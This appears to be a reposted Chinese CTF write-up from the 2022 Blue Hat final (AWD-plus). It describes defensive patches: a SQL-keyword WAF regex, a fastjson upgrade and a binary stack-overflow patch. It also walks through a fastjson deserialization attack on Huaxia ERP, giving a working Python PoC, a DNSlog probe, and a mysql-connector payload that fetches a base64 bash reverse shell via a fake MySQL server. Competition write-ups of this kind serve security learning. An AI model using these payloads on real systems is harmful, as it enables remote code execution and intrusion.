2022蓝帽决赛部分WP(awdplus)

您所在的位置:网站首页 蓝帽杯决赛地点 2022蓝帽决赛部分WP(awdplus)

2022蓝帽决赛部分WP(awdplus)

2024-06-04 21:45| 来源: 网络整理| 查看: 265

web出得有点晚了,早点就好了,为啥每次打ap都只能出一个web。。。

不贴图了。免得到打rt的时候bt佬溯我。。

安全的系统操作内容:防御:

打开发现题目中config.php里原来就有加过滤,于是试着加了更多的过滤规则进去,刚开始防没有防御成功,后来就加了一个通防脚本,包含之后传进去两个文件,就防御住了。

image.pngimage.pngfish操作内容:防御:

防御

代码审计一下,发现了在db.php里原来就有加上的防御正则(随便写的),于是就多给他加一些,让他更安全,传上去之后就防御成功了。

代码语言:txt复制function waf($s){ if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set|/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark|regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|/is",$s)||strlen($s)>50){ header("Location: /"); die(); } }赌怪操作内容:防御:

拿到源码是个jar的源码,一般java题漏洞都出现在依赖里,查看pom.xml,发现里面的fastjson是1.2.55的,总所周知,这个版本肯定是存在漏洞的,把依赖的版本修改为新版本1.2.83,然后再maven打包,就防御成功了。

image.pngimage.png

攻击

在查看pom.xml的时候发现了源码为华夏ERP,我记得我好像是有这个poc的,于是everything搜了一下,果然有

image.pngimage.png

然后打开md,在里面得到python写的poc,原来里面的ascii导致出现编码问题会报错,

改成utf-8就好了。

代码语言:txt复制import socket,sys,re def SendGet(res,ip,port): request = re.sub('[\r\n]','\r\n',res) port = int(port) sock = socket.socket() # 建立socket sock.connect((ip, port)) # 远程连接 sock.send(request.encode('utf-8’)) # 向socket发送数据,此处原为ascii response = b'' chunk = sock.recv(4096) # 从socket接收数据 print(chunk.decode()) def main(ip,port,dnslog): test = '{"@type":"java.net.Inet4Address","val":"'+ dnslog +'"}' test = test.encode('utf-8') test = ''.join('%{:02X}'.format(x) for x in test) res = '''GET /a.css/../depotHead/list?search={data}&tPage=1&pageSize=10 HTTP/1.1 Host: {host} Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47 X-Requested-With: XMLHttpRequest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pl;q=0.5 Connection: close '''.format(data=test,host=ip+':'+port) #print(res) SendGet(res,ip,port) main(sys.argv[1],sys.argv[2],sys.argv[3])

用dnslog探测,接收到了请求,说明是确实存在漏洞。但是这个依赖非常少,试了一些链子都没有打通,突然想起来之前看过帖子,mysql也是可以打反序列化的,

查看依赖为mysql-connector-java-5.1.30.jar,版本为5.1.30,确实可以打反序列化,再次用mysql的poc进行探测。

代码语言:txt复制{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "xxx.dnslog.cn", "portToConnectTo": 3306, "info": { "user": "yso_ _bash -c {echo,xxx}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } }

Dnslog再次收到请求,说明可以打。

image.pngimage.png

于是在vps上开启nc监听,另一边开启MySQL_Fake_Server,MySQL_Fake_Server是用的ysoserial生成的payload,所以再放一个ysoserial进去就可以了,将反弹shell命令base64编码后放入位置。

最终poc:

代码语言:txt复制{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "1.1.1.1", "portToConnectTo": 3306, "info": { "user": "yso_(此处为预留爆破的位置)_bash -c {echo,xxxx}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } }image.pngimage.png

最开始根据依赖一个一个链子去对比,对了半天没找到可利用的链子,后来我就把包放到bp,把ysoserial的链子名做成字典,进行爆破,点击攻击之后就收到反弹shell。

image.pngimage.png

然后在根目录下拿到flag。

flag值:

flag{289b8f9f-92cf-4f2a-b2b7-0d445fe90cda}

diff操作内容:防御:

1、将下载好的文件拖入ubuntu中,checksec命令查看保护

image.pngimage.png

3、将launcher文件拖入64位IDA,找到main函数用F5反编译查看代码

image.pngimage.png

4、在main函数中找到sub_1566函数,发现buf处有栈溢出

image.pngimage.png

5、用Tab键返回汇编页面,找到buf栈溢出所在位置

image.pngimage.png

6、选择Edit-->Patch program-->Assemble将溢出值改为栈范围内,然后选择Apply patches to input file保存已修改的文件

image.pngimage.png

7、最后再看一下sub_1566函数发现buf栈溢出处已被修改到栈范围内,将修改好的文件和update.sh文件打包上传验证,防御成功,如图所示为update.sh文件内容

image.pngimage.png杀猪盘操作内容:防御:

1、直接工具patch就防御成功。

mvm操作内容:防御

1、直接工具patch就防御成功。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3